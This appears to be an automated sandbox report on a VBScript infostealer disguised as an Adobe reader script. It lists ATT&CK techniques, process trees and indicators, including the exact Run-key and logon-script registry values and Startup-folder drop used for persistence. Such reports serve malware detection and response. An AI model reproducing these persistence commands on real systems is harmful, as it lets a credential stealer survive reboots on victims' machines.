5a390ca66c73f17d699da091a66a79bbeee977bf42860e2285ef48f394b42711

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	wscript.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DocRender.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DocRender.vbs	WScript.exe

Deletes itself 1 IoCs

pid	Process
5028	WScript.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Environment\UserInitMprLogonScript = "wscript //B \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DocRender\\updater.vbs\""	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

persistence privilege_escalation

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DocRender = "wscript //B \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DocRender\\updater.vbs\""	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
5028	WScript.exe
3644	wscript.exe

Drops file in Program Files directory 27 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1285578039\keys.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_630247745\deny_etld1_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_630247745\deny_full_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_288220818\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_2121721792\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1683564472\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1683564472\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_512424610\automation.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_512424610\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1285578039\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1298711688\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1298711688\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1573359951\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1573359951\smart_switch_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_512424610\classification.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_512424610\travel-facilitated-booking-kayak.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1285578039\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1285578039\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_2121721792\nav_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1573359951\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1683564472\sets.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_512424610\extraction.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_512424610\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_630247745\deny_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_630247745\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1573359951\office_endpoints_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping2200_1683564472\LICENSE	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2968	cmd.exe
744	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1064	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1976	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306797009851120"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-876885714-46325919-1482798410-1000\{60776101-E3CC-4084-AA0B-7BB3A54CA215}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2064	powershell.exe
2064	powershell.exe
2064	powershell.exe
632	powershell.exe
632	powershell.exe
632	powershell.exe
116	powershell.exe
116	powershell.exe
116	powershell.exe
4456	powershell.exe
4456	powershell.exe
4456	powershell.exe
2056	powershell.exe
2056	powershell.exe
2056	powershell.exe
4864	msedge.exe
4864	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2200	msedge.exe
2200	msedge.exe
2200	msedge.exe
2200	msedge.exe
2200	msedge.exe
2200	msedge.exe
2200	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	632	powershell.exe
Token: SeDebugPrivilege	116	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	2056	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2200	msedge.exe
2200	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 2200	5028	WScript.exe	87
PID 5028 wrote to memory of 3644	5028	WScript.exe	88
PID 2200 wrote to memory of 3528	2200	msedge.exe	90
PID 2200 wrote to memory of 1976	2200	msedge.exe	92
PID 2200 wrote to memory of 4856	2200	msedge.exe	95
PID 2200 wrote to memory of 4856	2200	msedge.exe	95
PID 2200 wrote to memory of 780	2200	msedge.exe	93
PID 2200 wrote to memory of 780	2200	msedge.exe	93
PID 2200 wrote to memory of 780	2200	msedge.exe	93
PID 2200 wrote to memory of 3304	2200	msedge.exe	97
PID 2200 wrote to memory of 3048	2200	msedge.exe	96
PID 2200 wrote to memory of 3304	2200	msedge.exe	97
PID 2200 wrote to memory of 3304	2200	msedge.exe	97
PID 2200 wrote to memory of 3048	2200	msedge.exe	96
PID 2200 wrote to memory of 3048	2200	msedge.exe	96
PID 2200 wrote to memory of 4748	2200	msedge.exe	99
PID 2200 wrote to memory of 4748	2200	msedge.exe	99
PID 2200 wrote to memory of 4748	2200	msedge.exe	99
PID 2200 wrote to memory of 1436	2200	msedge.exe	100
PID 2200 wrote to memory of 1436	2200	msedge.exe	100
PID 2200 wrote to memory of 1436	2200	msedge.exe	100
PID 2200 wrote to memory of 3848	2200	msedge.exe	102
PID 2200 wrote to memory of 3848	2200	msedge.exe	102
PID 2200 wrote to memory of 3848	2200	msedge.exe	102
PID 2200 wrote to memory of 312	2200	msedge.exe	103
PID 2200 wrote to memory of 312	2200	msedge.exe	103
PID 2200 wrote to memory of 2404	2200	msedge.exe	104
PID 2200 wrote to memory of 2404	2200	msedge.exe	104
PID 2200 wrote to memory of 2404	2200	msedge.exe	104
PID 2200 wrote to memory of 4752	2200	msedge.exe	108
PID 2200 wrote to memory of 4752	2200	msedge.exe	108
PID 2200 wrote to memory of 4436	2200	msedge.exe	107
PID 2200 wrote to memory of 4436	2200	msedge.exe	107
PID 2880 wrote to memory of 1064	2880	powershell.exe	115
PID 2200 wrote to memory of 1064	2200	msedge.exe	115
PID 2200 wrote to memory of 364	2200	msedge.exe	122
PID 2200 wrote to memory of 364	2200	msedge.exe	122
PID 2200 wrote to memory of 4392	2200	msedge.exe	117
PID 2200 wrote to memory of 4392	2200	msedge.exe	117
PID 2200 wrote to memory of 432	2200	msedge.exe	118
PID 2200 wrote to memory of 432	2200	msedge.exe	118
PID 2200 wrote to memory of 5020	2200	msedge.exe	119
PID 2200 wrote to memory of 5020	2200	msedge.exe	119
PID 2200 wrote to memory of 364	2200	msedge.exe	122
PID 2200 wrote to memory of 364	2200	msedge.exe	122
PID 744 wrote to memory of 620	744	cmd.exe	129
PID 3644 wrote to memory of 2968	3644	wscript.exe	137
PID 2200 wrote to memory of 2148	2200	msedge.exe	142
PID 2200 wrote to memory of 4368	2200	msedge.exe	143
PID 2200 wrote to memory of 3388	2200	msedge.exe	144
PID 2200 wrote to memory of 4340	2200	msedge.exe	145
PID 2200 wrote to memory of 4340	2200	msedge.exe	145
PID 2200 wrote to memory of 516	2200	msedge.exe	147
PID 2200 wrote to memory of 516	2200	msedge.exe	147
PID 2200 wrote to memory of 2296	2200	msedge.exe	148
PID 2200 wrote to memory of 2296	2200	msedge.exe	148
PID 2200 wrote to memory of 2852	2200	msedge.exe	149
PID 2200 wrote to memory of 2852	2200	msedge.exe	149
PID 2200 wrote to memory of 4864	2200	msedge.exe	150
PID 2200 wrote to memory of 3032	2200	msedge.exe	151
PID 2200 wrote to memory of 3032	2200	msedge.exe	151
PID 2200 wrote to memory of 2968	2200	msedge.exe	152
PID 2200 wrote to memory of 2968	2200	msedge.exe	152
PID 2200 wrote to memory of 1748	2200	msedge.exe	153

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Adobe\reader.vbs"
1⤵
- Badlisted process makes network request
- Checks computer location settings
- Creates a file in the Startup directory
- Deletes itself
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\TechVista_Proposal.pdf
  2⤵
  - Drops file in Program Files directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2ec,0x7ffa056ec188,0x7ffa056ec194,0x7ffa056ec1a0
    3⤵
    PID:3528
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1792,i,2518163340206657167,1974336045959684903,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1652,i,17484552104562616513,4673968213290705421,262144 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:2
    3⤵
    PID:780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2336,i,10327477496178028587,9478288727146114373,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=2996 /prefetch:8
    3⤵
    PID:4856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3480,i,4129095214603963220,8343167664760547601,2097152 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
    3⤵
    PID:3048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3500,i,3075087047323752087,7518976125845809917,2097152 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
    3⤵
    PID:3304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,10653561479933826769,2052825625006561963,2097152 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:1
    3⤵
    PID:4748
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4224,i,3418789678662226300,11968696580721214227,2097152 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=4272 /prefetch:2
    3⤵
    PID:1436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3724,i,8655173008316626454,8883060486140012667,2097152 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:2
    3⤵
    PID:3848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3708,i,10218944267294994486,17828404963496512522,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:8
    3⤵
    PID:312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5512,i,14743926798909726182,12436340930141228916,2097152 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=3780 /prefetch:8
    3⤵
    PID:2404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5568,i,6127199957176750361,5294958534392700294,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:8
    3⤵
    PID:4436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5664,i,5748001903010231402,6127568654468858586,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:8
    3⤵
    PID:4752
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,13804781911918050396,10910470009664296228,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:8
    3⤵
    PID:116
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,13804781911918050396,10910470009664296228,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:8
    3⤵
    PID:1064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6468,i,3266162453676090404,2499199892844860531,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:8
    3⤵
    PID:364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6672,i,2295829837662126971,14288908499648265834,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=6788 /prefetch:8
    3⤵
    PID:4392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6544,i,13565406944976699142,68122928088803498,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:8
    3⤵
    PID:432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6868,i,12991360091933221728,4015107922084342091,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:8
    3⤵
    PID:5020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6968,i,7311015448317829717,9616546771442330142,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:8
    3⤵
    PID:364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4872,i,10236638240899326680,5514338812058402985,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:8
    3⤵
    PID:2148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3464,i,11389994390965741327,9831972495626974942,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=4772 /prefetch:8
    3⤵
    PID:4368
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,12075773264346448778,1571822866659324248,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:8
    3⤵
    PID:3388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4772,i,1080046814353111627,16227077143936165538,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=4992 /prefetch:8
    3⤵
    PID:4340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,1566127153317686624,3371276800559313603,524288 --field-trial-handle=2320,i,14382926545532195413,2419983628018298041,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:8
    3⤵
    PID:516
